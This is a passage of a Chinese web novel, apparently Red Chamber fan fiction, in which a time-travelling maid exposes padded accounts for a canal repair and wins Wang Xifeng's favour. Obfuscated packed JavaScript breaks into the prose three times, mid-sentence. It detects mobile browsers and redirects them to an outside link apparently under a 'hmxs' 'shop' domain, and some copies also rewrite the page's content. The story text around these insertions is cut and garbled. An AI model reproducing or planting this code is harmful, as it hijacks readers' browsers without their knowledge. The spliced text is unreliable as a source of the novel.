王熙凤看似随意地翻看着另一本账册，眼角的余光却始终没有离开苏璃。她看到那个瘦小的身影跪在地上，背脊却挺得笔直，低垂的侧脸线条专注而沉静，与刚才的惶恐判若两人。这种极强的反差，让王熙凤心中那个模糊的念头越发清晰。 时间一点点过去，炭盆里的火苗摇曳，映照着苏璃认真的脸庞。额角渗出细密的汗珠，她也顾不上擦。约莫过了大半个时辰，她终于停下了动作，轻轻吐出一口气。 “回二奶奶，算好了。”苏璃的声音因长时间专注而略带沙哑，但清晰稳定，“账簿记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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跟着平儿走出厢房，穿过抄手游廊，走向后院仆役们的住处。苏璃回头望了一眼那间温暖却充满压迫感的屋子，心中清楚，从这一刻起，她不再是杂役柳絮，而是琏二奶奶院里新来的丫鬟。 等待她的，将是更复杂的局面，更微妙的人际关系，以及王熙凤更深层次的利用和考验。但她无所畏惧。 因为，这是她自己挣来的路。 5. 初入琏二奶奶院 平儿领着苏璃，穿过几道月亮门，来到王熙凤正房后的一排厢房。 这里是院内大丫鬟和有些体面的婆子们居住的地方，虽仍是仆役住所，但比杂役院的大通铺不知强了多少倍。每间房住两到三人，窗明几净，甚至有简单的桌椅和妆奁。 平儿推开其中一扇门，里面陈设简单，却整洁温暖。靠窗一张炕，对面一张小榻，地上还放着两个箱笼。 “这间房原本住着秋纹和碧痕，前儿秋纹家里来人求了恩典，放出去配人了，正好空出一个铺位。你暂且住这里，和碧痕一起。”平儿的声音温和，带着一种安抚人心的力量，“碧痕性子直爽，是个好相处的，你莫要担心。” 苏璃连忙道谢：“谢平儿姐姐安排。” 平儿笑了笑，从一旁的柜子里取出一套半新的青缎子背心和一条藕荷色的裙子，递给苏璃：“这是秋纹留下的衣裳，浆洗得干净，你先换上。在奶奶院里当差，穿戴需得整齐些，不能像在杂役院时那般随意。回头我再让人给你量尺寸，做两身新的。” 苏璃接过衣裳，触手是细软光滑的缎子，与她之前粗糙的麻布衣截然不同。这不仅仅是衣服的更换，更是身份的象征。她再次道谢，心中对平儿的细致周到生出几分好感。 “你先换衣裳，收拾一下。我去回禀奶奶，再看看给你安排什么活计。”平儿说着，便转身出去了，体贴地替她带上了门。 房间里只剩下苏璃一人。她环顾这个小小的空间，心中百感交集。从潮湿阴冷的杂役院大通铺，到如今这间虽然简陋却属于个人的角落，她终于在这座深宅大院里，拥有了第一块立锥之地。 她迅速换上新衣，料子贴身舒适，尺寸也大致合适。她将换下的旧衣仔细叠好，这身衣服承载了她最初穿越而来的记忆，她打算留下。然后，她将炕上属于她的那块地方整理平整，动作麻利，一丝不苟。 刚收拾停当，门被推开了，一个穿着红绫袄、青缎掐牙背心，面容俏丽，眼神透着一股伶俐劲的丫头走了进来，想必就是碧痕了。 碧痕看到屋里多了个人，愣了一下，随即上下打量了苏璃几眼，眼神里带着毫不掩饰的好奇和审视：“你就是平儿姐姐说的，新来的？叫柳絮？” “是，碧痕姐姐好，以后还请姐姐多指点。”苏璃站起身，恭敬地行了个礼，姿态放得很低。 见她态度恭顺，碧痕脸上的神色缓和了些，大喇喇地在炕沿坐下：“指点谈不上，这院里的规矩，你慢慢学就是了。听说……你算盘打得好，得了奶奶的青眼？”语气里带着几分打探。 苏璃心中明了，自己“空降”而来，又带着点“特殊技能”，难免引人注目和猜忌。她谦逊地答道：“不敢当奶奶青眼，只是侥幸会一点皮毛， 恰巧帮李嫂子算了点小账，蒙奶奶不弃，给个机会罢了。往后还要靠姐姐们多多提携。” 她将功劳推给“侥幸”和“恰巧”，强调自己是来“学习”的，姿态放得极低，有效消减了碧痕可能产生的敌意。 果然，碧痕见她如此上道，脸上露出了笑容，话也多了起来：“算账可是个精细活儿，你能得奶奶看重，那是你的造化。咱们院里，平儿姐姐是头一份的，最得奶奶信任，掌管着奶奶的私房和要紧账目。其次是丰儿姐姐，负责奶奶的衣裳首饰和屋里的大小摆设。再就是我们这些……” 碧痕快人快语，将院里的主要人物和分工大致介绍了一遍。苏璃认真听着，默默记下每个人的名字和职责，这些都是她未来需要小心应对的人际网络。 正说着，平儿又回来了，手里还拿着几本账册。 “柳絮，奶奶吩咐了，你刚来，先不急着接触要紧的账本。这几本是往年一些不太重要的采买流水和库房旧档，你先拿去熟悉一下府里往来的项目和记账的格式规矩。”平儿将账册递给苏璃，又补充道，“平日里，你先跟着碧痕，学学屋里的规矩，看看如何伺候奶奶起居用饭、递茶送水。珠算的本事不能丢，但伺候人的本分更要紧，明白吗？” “是，平儿姐姐，奴婢明白。”苏璃双手接过账册，心中清楚这是王熙凤的进一步考验和打磨。既要她用其才，又要磨其性，让她彻底融入丫鬟的身份，懂得尊卑规矩。 平儿点点头，又对碧痕说：“碧痕，柳絮新来，你多带带她。” “放心吧，平儿姐姐。”碧痕爽快地应下。 平儿离开后，碧痕便带着苏璃出了房门，开始熟悉院内的环境。从正房、厢房、到茶房、小厨房，一一指给她看，并讲解每日的作息时间和各处的规矩。 “奶奶每日辰初（早上七点）起身，咱们得提前准备好洗漱的热水和衣裳……奶奶不喜熏香过浓，屋里的熏笼要把握分寸……奶奶用饭时，布菜要均匀，不能专拣一样……奶奶午歇时，屋里要有人值守，但不能有动静……” 碧痕讲得仔细，苏璃听得认真，不时提出一两个恰到好处的问题，显得虚心好学。她的适应能力和学习速度让碧痕有些惊讶，原本以为从杂役 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王熙凤似乎心事重重，吃得不多，偶尔抬眼，看到苏璃那副谨慎认真的模样，眼底深处闪过一丝难以察觉的考量。 饭后，王熙凤漱了口，由平儿陪着去给贾母请安。院里的丫鬟们这才松了口气，各自忙活收拾。 苏璃回到小屋，点亮油灯。碧痕和其他几个相熟的丫鬟凑在一起说笑玩闹，她却拿出平儿给的那几本旧账册，就着昏黄的灯光，一页一页仔细翻阅起来。 这些虽然是“不重要”的旧档，但却是了解贾府内部运作、物资流转和价格体系的绝佳窗口。她看得极其认真，不时用手指在桌上虚划，模拟着计算。 碧痕玩了一会儿，见她如此用功，忍不住凑过来：“哟，这么用功呢？这些陈年旧账有什么好看的？” 苏璃抬起头，笑了笑：“平儿姐姐交代的差事，不敢怠慢。也多看看，才能更快熟悉府里的事，免得日后出错，给奶奶和姐姐们添麻烦。” 她的回答滴水不漏，既表现了勤勉，又体现了对上级吩咐的重视。碧痕听了，撇撇嘴，觉得她有些无趣，便又回去说笑了。 苏璃并不在意。她知道，融入需要时间，而眼下，抓紧一切机会提升自己对这个世界的“数据”掌握，才是最重要的。灯光下，她的侧影沉静而坚定，与窗外丫鬟们的嬉笑声形成了鲜明的对比。 在这琏二奶奶的深院里，她的新征程，才刚刚开始。 6. 旧账藏奸 日子一天天过去，苏璃在王熙凤院里的生活逐渐步入一种新的轨道。 她白日里跟着碧痕学习规矩，熟悉院内各项琐事，从端茶递水到铺床叠被，从传话跑腿到应对各房来往的仆妇，每一个细节都力求做到符合规范，不出差错。 她态度恭顺，学习刻苦，加上本身心思缜密，举一反三，很快便将一个贴身大丫鬟该有的日常举止学得像模像样。碧痕起初还存着几分看热闹的心思，见她学得又快又好，待人接物也颇有分寸，那点微妙的芥蒂便也渐渐淡了，偶尔还会真心指点她几句。 平儿将苏璃的进步看在眼里，心中暗暗点头。这个头，确实是个可造之材，不仅有过人的算学天赋，难得的是性子沉得住气，不骄不躁，懂得藏拙。她开始将一些稍微重要些的活计交给苏璃，比如核对小厨房的日常采买单，或者清点库房里不太紧要的绸缎尺头。 苏璃每次都完成得一丝不苟，账目清晰，物品数目准确，从未出过纰漏。但她始终牢记自己的身份，谨言慎行，除了分内之事，从不打听任何不该她知道的消息，也绝不轻易与院内院外的人结交。这份超出年龄的沉稳和分寸感，让平儿和王熙凤都越发觉得可用。 然而，真正的考验，总是在不经意间降临。 这日午后，王熙凤午歇刚起，外面就传来一阵略显急促的脚步声和压低的争执声。平儿皱了皱眉，示意苏璃出去看看。 苏璃轻手轻脚走到门外，只见林之孝家的正拦着一个面生的、穿着体面管家模样的人，那人手里捧着一本厚厚的账册，脸上带着焦急和不忿。 “周瑞家的，不是我不给你通报，实在是奶奶刚起身，精神还没养回来，这会儿见不得烦心事。你那账本，缓一两天再回，又能如何？”林之孝家的低声劝道。 那被称作周瑞家的管家跺脚道：“林姐姐，不是我不懂事，实在是这账……庄子上催得紧，说是去年秋天修缮别院渠塘的尾款，再不结清，工匠们就要闹将起来，影响了春耕，这责任我可担待不起啊！这本是旧年老爷在时就定下的工程，账目往来都在这里头，得请奶奶过目用印才行！” 苏璃听在耳中，心中一动。修缮别院渠塘？这听起来是项不小的工程。她不动声色地退回屋内，向平儿低声回禀了外面的情况。 平儿听了，走到王熙凤身边，轻声将事情说了。王熙凤刚睡醒，带着几分慵懒和起床气，闻言眉头就蹙了起来，不耐烦地道：“又是这些陈年旧账！老爷在时糊涂账一堆，如今倒都找到我头上来了！让他进来吧。” 周瑞家的得了准许，连忙捧着账本进来，恭恭敬敬地行了个礼，将账本呈上：“给二奶奶请安。这是去年修缮西郊别院渠塘的工料总账，请您过目。” 王熙凤懒洋洋地接过账本，随手翻了几页。上面密密麻麻记录着各种建材、人工的费用，数目不小，总计竟要五百两银子。她越看眉头皱得越紧，这笔开销她隐约有印象，但具体细节早已模糊。如今府里银钱吃紧，每一笔大额支出都让她心头滴血。 “这账……我记得之前不是支过一部分了吗？怎么还有这么一大笔尾款？”王熙凤将账本往炕几上一扔，语气不悦。 周瑞家的忙道：“回奶奶，之前是支了二百两的备料钱，如今工程完毕，工匠们的工钱、还有后续的一些石料、木料尾款，都等着结算呢。账目明细都在这里，一笔笔都记得清楚。” 王熙凤揉了揉太阳穴，她对这种工程细账并不十分在行，而且这账目看似平整，一时也挑不出明显错漏。但直觉告诉她，这里面恐怕有水分。若是平常，她或许就捏着鼻子认了，但现在……她目光瞥向垂手侍立在一旁的苏璃。 “柳絮。”王熙凤忽然开口。 苏璃心头一凛，上前一步：“奴婢在。” “你来看看这本账。”王熙凤将账本推到她面前，语气听不出喜怒，“瞧瞧这里面的数目，可有什么不妥当地地方。” 刹那间，屋内的目光都集中到了苏璃身上。周瑞家的眼神里带着惊疑和一丝不易察觉的轻视，显然不信这个面生的小丫头能看出什么。 平儿眼中则流露出些许担忧，这可不是简单的复核，而是直接审查一笔可能存在问题的陈年旧账，牵扯到府里的老人和外面的关系，一个处理不好，就会得罪人。 苏璃知道，这是王熙凤对她能力的又一次，也是更直接的一次考验。 她平静地应了声“是”，双手捧起那本沉甸甸的账册，走到一旁的小杌子上坐下，并没有立刻翻阅，而是先向周瑞家的询问道：“周管家，不知这别院渠塘修缮，具体是何时动工，何时完工？主要负责的工头是哪一位？主要的石料、木料又是从哪家商号采买的？” 她问得条理清晰，切中要害。周瑞家的愣了一下，没想到这丫头问得如此专业，只得一一回答：“是去年八月中动工，十月底完工的。工头是常来往府里的张石头。石料是从城西刘记石行买的，木料是王木匠提供的。” 苏璃点点头，不再多问，低下头，开始专注地翻阅账册。她的阅读速度极快，目光如扫描仪一般掠过一行行数字和文字，手指无意识地在膝上轻轻点动，那是她心算时的习惯动作。 王熙凤端起茶杯，慢条斯理地呷着，眼角余光却时刻关注着苏璃的反应。平儿安静地站在一旁，心中暗自捏了一把汗。 时间一点点流逝，只有书页翻动的沙沙声和炭火的轻微噼啪声。周瑞家的起初还有些紧张，见苏璃久久不语，渐渐放下心来，觉得这丫头不过是装模作样。 忽然，苏璃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908579|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翻页的手指停住了。她的目光凝滞在某一页记录人工支出的地方，眉头微微蹙起，似乎在反复确认着什么。接着，她又快速向前翻了几页，对照着某些数据，指尖在几个关键数字上轻轻划过。 良久，她合上账册，站起身，走到王熙凤面前，神色平静，但眼神清澈坚定。 “回二奶奶，奴婢粗略看了一遍，发现几处可能存疑的地方。” “哦？说来听听。”王熙凤放下茶杯，身体微微前倾。 苏璃不卑不亢，条理清晰地陈述道：“第一，是人工支出。账册记录雇佣力工三十人，工期七十五天。但根据京城寻常力工的工价，即便是包工，如此长的工期，人均日工钱记录为八十文，略高于市价，尚在合理范围。可疑之处在于，账目显示力工总计工作两千二百五十个工日，但三十人工作七十五天，满打满算应是两千二百五十个工日，这意味着所有力工全程无一日缺勤？这在长达两个多月的工程中，几乎不可能。通常会有因病、因事缺勤的情况，账目却按满额计算，此处或有虚报工日的嫌疑。” 周瑞家的脸色微变，张了张嘴想辩解，被王熙凤一个眼神制止了。 苏璃继续道：“第二，是石料支出。账目记录采购青石若干方，单价亦符合市价。但奴婢对照前期备料记录和后期结算记录，发现同种规格的青石，前后单价有细微差异，虽每方只差几文钱，但总量巨大，累计下来也有数两银子之差。这不符合常理，通常大批采购，价格应更统一。” “第三，”苏璃翻到最后一页总账，“也是最关键的一处。奴婢将各项支出重新加总核算，发现账册记录的最终总额五百两，比奴婢核算出的实际应支付总额，多出了约二十八两银子。” “二十八两？”王熙凤凤眸眯起，声音冷了几分。这可不是个小数目，足够一个普通庄户人家几年的嚼用。 周瑞家的额头瞬间冒出了冷汗，急声道：“奶奶明鉴！这……这或许是记账时疏忽，算错了也是有的……” 苏璃平静地补充道：“周管家，奴婢还未说完。这多出的二十八两，并非均匀分布在各项支出中，而是主要集中在人工和部分耗材的零星加项上，做得颇为隐蔽。若非逐项复核加总，极易被忽略。而且，奴婢注意到，有几笔零散耗材的采购记录，笔记墨色与前后文略有差异，像是后来添加的。” 这话一出，意图就非常明显了。这已经不是简单的计算失误，而是有意的账目造假，中饱私囊！ 王熙凤的脸色彻底沉了下来，目光如刀锋般扫向周瑞家的。房间里的空气仿佛都凝固了。 苏璃垂首而立，心中平静。她知道，自己这把刀，第一次出鞘，已然见血。而这，仅仅是个开始。贾府这潭深水下的污浊，远比她想象的要多。 7. 一鸣惊人 王熙凤房中，空气凝滞如冰。 周瑞家的脸色由红转白，冷汗涔涔而下，几乎浸湿了衣领。她噗通一声跪倒在地，声音发颤：“二奶奶明鉴！这、这定是账房先生记录时出了差错，或是下面的人胡乱填报，奴婢实在不知情啊！” 王熙凤并不看她，只盯着那本账册，指尖在炕几上轻轻敲击，每一下都像是敲在周瑞家的心尖上。良久，她才缓缓抬起眼，目光先落在垂首恭立的苏璃身上，锐利如鹰隼，带着审视，也带着一丝极淡的、几乎无法察觉的激赏。 “不知情？”王熙凤的声音不高，却带着刺骨的寒意，“你身为管事，一句不知情，就能推卸掉所有干系？五百两的工程，二十八两的虚头，好大的胃口！是不是觉得老爷不管事，我又年轻脸嫩，便敢这般糊弄？” “奴婢不敢！奴婢万万不敢！”周瑞家的连连磕头，声音带着哭腔，“奴婢对府里、对奶奶忠心耿耿，定是下面的人搞鬼，奴婢回去一定严查！请奶奶给奴婢一个机会！” “查？自然要查。”王熙凤冷哼一声，语气不容置疑，“但这账，既然已经摆到了我面前，就不能这么不清不楚地过去。平儿，” “奶奶。”平儿上前一步。 “拿着这本账，带着柳絮，现在就去外院账房，把当初经手这笔账的所有底档、条子都给我调出来，一笔一笔地对！再去库里查查当初领用材料的记录，看看是否对得上数。”王熙凤吩咐道，凤眸中寒光闪烁，“我倒要看看，是哪个胆大包天的，敢在我眼皮子底下玩这种花样！” “是。”平儿肃然应下。 王熙凤这才又看向苏璃，语气缓和了些，却依旧带着威压：“柳絮，你跟着平儿去。账是你看出来的，哪里有问题，你最清楚。” “是，二奶奶。”苏璃恭顺应道，心中明白，这是要将她推向前台，也是要将这“查账立功”的名头，牢牢扣在她身上。福兮祸所伏，今日出了这个风头，往后在这府里，她便再也不能完全隐藏在幕后了。 平儿接过账本，对苏璃使了个眼色，两人一同退了出去。周瑞家的还跪在地上，面如死灰。 出了正房，穿过回廊，平儿才轻轻舒了口气，看向苏璃的目光带着复杂的惊叹：“柳絮，你……你可真是……”她一时竟找不到合适的词来形容。方才在屋里，苏璃条分缕析、一针见血地指出账目问题的那一幕，实在太过震撼。那不是一个丫鬟该有的能力和胆识。 苏璃微微低头，语气依旧谦逊：“平儿姐姐谬赞了，奴婢只是侥幸看得仔细些，当不得什么。” “这可不是侥幸。”平儿摇头，正色道，“你这本事，放在哪里都是顶尖的。奶奶……奶奶这是捡到宝了。”她顿了顿，声音压低了些，“只是，木秀于林，风必摧之。今日之后，府里不知多少双眼睛会盯着你，你需得更加谨慎才是。” “谢姐姐提点，奴婢记住了。”苏璃感激地看了平儿一眼。平儿的善意提醒，在这个步步惊心的环境里，显得尤为珍贵。 两人来到外院账房。账房里的几位先生见平儿亲自来了，身后还跟着一个面生的小丫鬟，都有些诧异。等平儿说明来意，要调取西郊别院渠塘修缮的所有账目底档时，账房里的气氛顿时微妙起来。 一位姓钱的老账房推了推眼镜，皱着眉为难道：“平姑娘，不是我们不配合，只是这陈年旧账，翻找起来甚是麻烦，而且涉及工程采买，许多条子未必都收在账房……” 平儿在王熙凤身边多年，岂能看不出这推诿之意？她脸上依旧带着温和的笑意，语气却不容置疑：“钱先生，这是二奶奶的吩咐。奶奶等着回话，麻烦诸位先生辛苦一下，立刻将所有相关底档、条据都找出来。若是找不齐……奶奶的脾气，诸位是知道的。” 提到王熙凤，钱账房等人脸色变了变，互相看了一眼，这才不情不愿地动起来，翻箱倒柜地寻找。 苏璃安静地站在平儿身后，目光却敏锐地扫过账房内的陈设和每个人的神情。她注意到，其中一个年轻些的账房，在听到“西郊别院渠塘”时，眼神闪烁了一下，动作也有些迟疑。 底档和一堆杂乱的字条很快被搬了出来，堆了半桌子。平儿看向苏璃。 苏璃会意，上前一步，对几位账房先生福了一礼，声音清晰柔和：“有劳诸位先生。奴婢奉二奶奶之命，复核此账。可否请诸位行个方便，将人工记录底册、石料木料采买单据，以及库房领用记录分开，容奴婢一一核对？” 她态度恭敬，言语在理，让人挑不出错处。钱账房等人虽心中不以为然，觉得一个小丫头能看出什么，但碍于平儿在场，也只能照做。 苏璃坐在特意给她搬来的小杌子上，开始工作。她先拿起那本人工记录底册，快速浏览。这底册比呈给王熙凤的总账要原始得多，上面有每日工头张石头画押确认的工人出勤记录。 她看得极快，手指顺着日期和名字下滑，心中默算。果然，底册上的出勤记录并非满额，时有缺勤，但缺勤的人数和天数，与总账上体现的“全额工日”完全对不上。她拿起旁边一叠力工领工钱的画押条子，两相对照，发现有些画押的笔迹略显潦草，与平日稳定的笔迹有细微差别，且集中在工程后期的某些日期。 “平儿姐姐，”苏璃抬起头，指着那几处可疑的记录，“您看这里，底册记录当日有三名力工因雨未出工，但工钱画押条上却有他们的名字和指印。还有这几张条子，笔迹与之前同人的笔迹略有不同，墨色也新一些。” 平儿凑过去仔细一看，她心细，经苏璃提醒，也立刻看出了端倪，脸色沉了下来。 苏璃又拿起石料采买的单据。刘记石行的单据倒是规整，但苏璃注意到，前期和后期的单据格式有极其细微的差别，印鉴的清晰度也略有不同。她将前后期单价不同的单据挑出来，对比之下，发现后期那几张单价略高的单据，纸张边缘磨损程度似乎比前期单据还要轻些。 “这些单据……似乎并非一次开具。”苏璃沉吟道，“而且，若真是后期补料，数量不大，价格反而比前期大批采购时更高，于理不合。” 最后是库房领用记录。记录显示领了一批青石用于别院渠塘，但数目与采买总数对不上，有约莫两成的差额。库房记录的解释是“途中损耗及砌筑裁切损耗”。 苏璃看向钱账房，客气地问道：“钱先生，依府里惯例，如此规模的石料工程，途中损耗与裁切损耗，一般会计入几成？” 钱账房没想到她会直接问自己，愣了一下，才含糊道：“这个……视情况而定，一般在一成到一成五之间。” “两成，是否偏高了些？”苏璃语气平和，却步步紧逼。 钱账房额头见汗，支吾着说不出话来。 到了这个地步，情况已经基本明朗。人工、石料、乃至所谓的“损耗”，都存在虚报、造假的问题。那二十八两银子的去向，也有了清晰的脉络——多半是落入了工头、采买经手人，甚至可能包括账房里某些人的口袋。周瑞家的即便不是主谋，也难逃失察之罪，甚至可能参与了分润。 平儿看着苏璃在杂乱的字条和账册间，抽丝剥茧，将问题一个个揪出，心中震撼无以复加。这已不仅仅是算盘打得好的问题了，这分明是顶尖的刑名师爷才能有的查账手段！这柳絮，究竟是什么来头？ 她深吸一口气，将苏璃挑出的所有问题单据和记录整理好，对账房众人道：“今日之事，暂且到此。这些底档和单据，我先带回去回禀二奶奶。诸位先生，今日辛苦了。”语气虽淡，却带着警告。 说完，便带着苏璃离开了账房。 回去的路上，平儿沉默良久，才轻声对苏璃道：“今日之事，你做得极好。奶奶……定然会重赏于你。” 苏璃却并无喜色，只是低声道：“为奶奶分忧是奴婢的本分。只是，经此一事，怕是会得罪不少人……” 平儿叹了口气：“在这府里当家，岂能不得罪人？只要你一心为奶奶办事，奶奶自然会护着你。”话虽如此，她眼中也掠过一丝忧色。柳絮这把刀太过锋利，用起来顺手， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908580|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却也容易伤到自己，更会招来嫉恨。 回到王熙凤院中，平儿将查账结果一五一十回禀，并将可疑单据一一指给王熙凤看。 王熙凤听着，看着，脸色阴沉得能滴出水来。她掌管荣国府以来，知道下面的人手脚不干净，却没想到竟如此猖獗，一个几百两的工程就敢贪墨近三十两！ “好，好得很！”王熙凤气极反笑，“一个个都把我当冤大头了！周瑞家的呢？” “还在外面跪着。”平儿回道。 “让她滚回去闭门思过！革她三个月月钱！告诉她，若是查实她知情不报甚至参与其中，仔细她的皮！”王熙凤厉声道，随即又吩咐，“去把那个工头张石头给我捆来！还有，拿着刘记石行的单据，去找刘掌柜‘好好’问问！账房里……哼，回头再收拾他们！” 一连串命令发下去，雷厉风行，带着腾腾杀气。下人领命而去，屋内一时寂静。 王熙凤这才将目光重新投向一直安静侍立的苏璃，眼中的厉色渐渐被一种复杂的情绪取代。她招了招手：“柳絮，你过来。” 苏璃走上前。 王熙凤打量着她，仿佛第一次真正认识这个瘦小的丫鬟。看了半晌，她才缓缓开口，声音里带着一丝不易察觉的叹赏：“今日，你立了大功。若不是你，这二十八两银子，就成了别人的囊中之物了。” “奴婢不敢居功，是奶奶明察秋毫。”苏璃低眉顺眼。 “有功就是有功。”王熙凤摆摆手，对平儿道，“平儿，取十两银子来，赏给柳絮。再从我的库里，拣两支素银簪子，两匹时新尺头给她。” 十两银子！这赏赐不可谓不重！几乎相当于一个二等丫鬟好几年的月钱。连平儿都微微动容。 苏璃心中也是一震，立刻跪下：“谢奶奶重赏！只是……这赏赐太厚，奴婢受之有愧……” “给你，你就拿着。”王熙凤语气不容拒绝，“这是你应得的。从今日起，你便跟在我身边，做个贴身伺候的丫鬟，月钱按一等丫鬟的份例发放。那些简单的账目，你看熟了，往后……还有更重要的交给你。” 贴身丫鬟！一等份例！ 苏璃强压下心中的激动，重重磕下头去：“谢奶奶恩典！奴婢定当竭尽全力，报答奶奶！” 她知道，从这一刻起，她真正踏入了荣国府的核心圈，成为了王熙凤名副其实的“自己人”。虽然前路必然伴随着更多的明枪暗箭，但她也获得了更大的舞台和权限。 “起来吧。”王熙凤语气缓和了些，“今日你也累了，先下去歇着。明日再来当值。” “是。”苏璃再次行礼，这才在平儿含笑的示意下，退出了房间。 走出那间温暖却压抑的正房，回到自己暂住的小屋，苏璃关上门，背靠着门板，才允许自己长长地舒了一口气。手心因一直紧握，已是一片潮湿。 十两银子沉甸甸地揣在怀里，素银簪子和新衣料的赏赐随后就会送到。身份、地位、金钱，她在短短一日内，获得了原主柳絮可能一辈子都无法企及的东西。 然而，她心中并无多少喜悦，只有一种如履薄冰的清醒。 “一鸣惊人……”她低声咀嚼着这个章节名。今日她确实一鸣惊人了，惊动了王熙凤，也必然惊动了这府里许多藏在暗处的人。 周瑞家的会甘心受罚吗？账房那些被拂了面子的先生会如何想？还有那个即将被捆来的工头张石头，以及可能被牵连的其他管事…… 她今日露出的锋芒，是晋身之阶，也成了众矢之的。 但苏璃的眼神很快重新变得坚定。既然选择了这条路，就没有回头的余地。唯有继续向前，变得更加强大，更加不可或缺，才能在这漩涡中站稳脚跟，直至……掌控自己的命运。 她走到窗边，推开一条缝隙，寒冷的夜风涌入，让她精神一振。 荣国府的夜空，星辰寥落，却有一弯新月，清冷地挂在天际，洒下淡淡辉光。 属于苏璃的征途，从这“一鸣惊人”之日，才真正开始。 8. 暗流涌动 赏赐是傍晚时分由平儿亲自送来的。 十两雪花银用红绸包着，沉甸甸地压手。两支素银簪子虽不奢华，但做工精巧，胜过杂役院里姑娘们头上所有的物件。两匹尺头，一匹是雨过天青的软罗，一匹是秋香色的暗纹锦，光线下流转着细腻的光泽，与苏璃身上半旧的青缎背心形成了鲜明对比。 碧痕的眼睛瞬间就直了，围着那匹软罗摸了又摸，嘴里啧啧有声：“我的老天爷，十两银子！还有这料子……柳絮，你可真是发达了！”她语气里的羡慕几乎要溢出来，还夹杂着一丝难以言喻的酸涩。 同屋的其他小丫鬟也围了过来，七嘴八舌，眼神复杂。有纯粹羡慕的，有好奇打听的，也有那等眼神闪烁，不知在想些什么的。 苏璃脸上适时地露出几分惶恐和不安，将银子紧紧攥在手里，对平儿道：“平儿姐姐，这赏赐太重了，我……我实在心里难安。” 平儿温和地拍拍她的手：“奶奶赏你的，你就安心收着。这是你应得的。”她目光扫过屋内众人，声音不高不低，却带着分量，“柳絮妹妹往后就在奶奶身边当差了，你们平日多帮衬着些。” 这话既是提点，也是警告。众人连忙应声称是。 平儿又对苏璃叮嘱了几句明日当值的时辰和注意事项，便离开了。 平儿一走，屋内的气氛更加微妙。碧痕凑到苏璃身边，挽着她的胳膊，亲热得有些不自然：“好妹妹，你快跟我说说，今日到底是怎么个情形？你怎么就看得出那账目有问题的？周瑞家的真的贪了银子？” 苏璃心中警铃微作。她知道，此刻不知多少双耳朵竖着，等着从她嘴里抠出细节，稍有不慎，传出去的话就可能变了味道。 她垂下眼睫，做出心有余悸的样子，轻轻挣脱碧痕的手，低声道：“碧痕姐姐快别问了，我现在想起来还后怕呢。不过是奶奶让我看账，我恰好看到几处数目对不上，就照实回了。具体怎么回事，奶奶自有明断，我们做奴婢的，哪里敢胡乱揣测。” 她将功劳全推给王熙凤的“明察秋毫”和自己的“侥幸”，对关键细节一概模糊处理，语气里满是谨小慎微。 碧痕见她口风紧，撇撇嘴，有些无趣，但目光落到那银子和尺头上，又热络起来：“也是，主子们的事，咱们少打听。不过妹妹你可真是好运道，得了奶奶这般青眼。往后可别忘了提携姐姐我啊！” 苏璃勉强笑了笑，将银子小心收进自己的小包袱最底层，只把簪子和尺头放在外面：“姐姐说哪里话，咱们都是一处当差的，自然要互相照应。” 这一夜，苏璃睡得并不安稳。同屋丫鬟们翻身、梦呓的声音，窗外巡夜婆子走过的脚步声，都清晰地传入耳中。她知道，从她接过那十两赏银开始，她就不再是那个可以躲在角落默默观察的“柳絮”了。她成了靶子。 接下来的几日，风平浪静之下，暗流涌动。 苏璃正式成为王熙凤的贴身丫鬟，主要负责跟随左右，递送东西，传话跑腿，以及在王熙凤看账时在一旁伺候笔墨，偶尔回答一些简单的数目问题。王熙凤似乎并未立刻交办什么重要的账目给她，更像是在观察，在打磨。 而府里的风向，却悄然转变。 周瑞家的被革了三个月月钱，虽未撤职，但明显失了体面，据说在屋里称病好几日没露面。工头张石头被捆来打了个半死，招认了虚报工日、与采买合伙抬高石料价格的事，被撵出府去，永不录用。刘记石行的掌柜亲自登门赔罪，退还了部分款项。 王熙凤借此机会，雷厉风行地敲打了一批管事，府中风气为之一肃。明面上，无人敢再小觑二奶奶院里新来的这个叫“柳絮”的丫头，见面都客气地唤一声“柳絮姑娘”。 但客气背后，是疏离，是审视，甚至是隐隐的敌意。 苏璃能清晰地感觉到那种无形的壁垒。 去大厨房传话，原本笑脸相迎的管事媳妇，笑容淡了几分，言语间带着小心翼翼的试探。路过花园，偶遇其他房的大丫鬟，对方或许会点头致意，但眼神交汇的瞬间，那目光里的衡量与打量，让她如芒在背。 甚至连琏二爷贾琏，某次在院里撞见苏璃，都特意停下脚步，那双惯常带着几分浪荡气的眼睛在她身上转了两圈，似笑非笑地对王熙凤说：“哟，这就是你新提上来的那个会算账的丫头？模样倒也周正，听说本事不小啊。” 王熙凤当时就啐了他一口：“少在这里胡唚！好好当你的差去！”但苏璃还是捕捉到了贾琏眼中那一闪而过的、对于“不安分因素”的警惕。 这日午后，王熙凤去贾母处伺候，吩咐不必跟着。苏璃得了片刻空闲，想起前几日平儿交代她将一批旧年礼单整理归档，便往库房方向去。 